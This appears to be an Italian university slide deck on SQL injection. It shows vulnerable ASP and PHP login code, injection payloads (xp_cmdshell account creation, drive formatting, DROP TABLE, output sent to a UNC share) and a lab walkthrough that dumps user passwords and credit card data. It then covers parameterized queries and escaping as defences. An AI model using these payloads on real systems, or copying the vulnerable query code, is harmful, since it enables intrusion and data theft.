SQL Injection Prof. Stefano BistarelliC Consiglio Nazionale delle Ricerche
Iit Istituto di Informatica e Telematica - Pisa Università “G. d’Annunzio”Dipartimento di Scienze, Pescara
SQL Injection Prof. Stefano Bistarelli
C Consiglio Nazionale delle Ricerche
Iit Istituto di Informatica e Telematica - Pisa Università “G. d’Annunzio”Dipartimento di Scienze, Pescara
Setup
User input usato in SQL query
esempio: login page (ASP)
set ok = execute(“SELECT * FROM UserTable
WHERE username=′ ” & form(“user”) &
“ ′ AND password=′ ” & form(“pwd”) & “ ′ ” );
If not ok.EOF
login success
else fail;
Quale e’ il problema?
This snipet is in VB.
Bad input
Supponiamo user = “ ′ or 1 = 1 -- ” (URL encoded)
Allora lo scripts ottiene:
ok = execute( SELECT …
WHERE username= ′ ′ or 1=1 -- … )
poiché è presente ‘- -’ il resto della linea è ignorato.
ora ok.EOF è sempre falso.
The bad news: facile login a molti siti in questo modo.
Even worse
Supponiamo user =
′ exec cmdshell
′net user badguy badpwd′ / ADD --
Allora lo script:
ok = execute( SELECT …
WHERE username= ′ ′ exec … )
se SQL server è eseguito da “sa” o “root”, attaccante ottiene un account sul DB server.
Demonic strings 2
Remote execution
'; exec master..xp_cmdshell 'ping 10.10.1.2'–
Get output
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Insert data
‘; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'–
Delete data|
';drop table users –
Demonic strings
' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a
Avoiding SQL injection
Due suggerimenti:
Query parametriche con parametri tipati e controllati
Uso di store procedure parametrizzate
Query parametriche
Example: Parameterized SQL: (ASP.NET 1.1)
Ensures SQL arguments are properly escaped.
SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);
cmd.Parameters.Add("@User", Request[“user”] );
cmd.Parameters.Add("@Pwd", Request[“pwd”] );
cmd.ExecuteReader();
Escapes with \. ‘ -> \’ . DB independent --- different DB’s have different rules for escaping.
This snipet is in C#
Prepare-execute procedure
pg_query($conn, “PREPARE stmt_name (text) AS SELECT * FROM users WHERE name=$1”);
pg_query($conn, “EXECUTE stmt_name ({$name})”);
pg_query($conn, “DEALLOCATE stmt_name”);
Magic quotes e real-escape
Magic quotes
file di configurazione php.ini: voce magic_quotes_gpc
funzione addslashes() o funzione mysql_escape_string() su tutte le variabili inserite in una query SQL.
Build SQL queries by properly escaping args: ′ \′
Nota: mysql escape = \
Firebird escape = ‘
In genere
Controllare sempre l’input!!
Vediamo un esercizio
Fabrikam
Fabrikam has recently introduced a search feature into their product database, but they’ve written it with some rather naïve code. Your first job will be to exploit the SQL injection vulnerability so you understand the implications. Then you’ll go on the defensive and fix the problem.
‘ or 1=1 –
Good!!
‘ union select null –
Numero campi query sbagliata
‘union select null, null –
ok
‘ union select $0, null, null –
Ora troviamo il tipo dei campi
‘ union select null, @@version, null –
Versione db! Per vulnerabilita’ conosciute
' union select null, name, null from sys.databases –
Che altri db ci sono?
‘ union select null, table_name, null from FabrikamSampleProductDatabase.information_schema.tables --
Che tabelle nei vari db?
' union select null, column_name, null from FabrikamSampleProductDatabase.information_schema.columns where table_name='users' --
Bene che colonne interessanti!! Utenti!
' union select null,email+', '+password+', '+cc_type+', '+cc_num+', '+cc_exp+', '+cc_vcode,null from Users --
Some damage
' update products set price=.01 where description='MP3 Player' --
Ora possiamo comprare l’mp3 player
' exec xp_cmdshell 'net user hacker P@ssw0rd /add'
' exec xp_cmdshell 'format z:'
Difesa!!
Filter input
searchString = txtSearch.Text;
searchString = txtSearch.Text.Replace("'","''");
sandbox the input data in a parameterized query
(visualizzazione progettazione, proprieta’ del selectcommand
select sku, description, price from Products where description like @s order by price
Refresh!
dataSource.SelectCommand = string.Format( "select sku, description, price from Products where description like '%{0}%' order by price",
searchString);
dataSource.SelectParameters["s"].DefaultValue = '%' + searchString + '%';
cod1
if (isset($_POST['user']) && isset($_POST['passwd'])) {
include 'mainfile.php';
mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'mainfile.php'
$result=mysql_db_query(DB_NAME,"select * from utenti where username='$_POST[user]' and passwd='$_POST[passwd]'");
if (mysql_num_rows($result)!=0) { $_SESSION['user']=$_POST['user'];
cod2
if (isset($_POST['admin_password'])){
$pwd= $_POST['admin_password'];
if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri
{
echo " ";
session_destroy();
};
};
if (isset($_POST['admin_user']) && isset($_POST['admin_password'])) {
include '../connessione.php';
mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione.php'
$result=mysql_db_query(DB_NAME,"select * from amministratore where admin_user='$_POST[admin_user]' and admin_password='$_POST[admin_password]'");
if (mysql_num_rows($result)!=0) { $_SESSION['admin_user']=$_POST['admin_user'];
?>
if (isset($_POST['pass']))
{
$pass=filtraggio($_POST['pass'],50);
$query=mysql_query("select * from password where pwd=sha1('$pass')") or mysql_showerror();
if ($n=mysql_num_rows($query) > 0)
{
$_SESSION['autenticato']=true;
// funzione controllo SQL Injection per dati tipo stringa
function filtraggio($str,$val){
if ( get_magic_quotes_gpc()) {
$filtro = stripslashes($str);
$filtro1 = mysql_real_escape_string(substr($filtro,0,$val));
}else
{
$filtro1 = mysql_real_escape_string(substr($str,0,$val));
}
return $filtro1;
}
Comments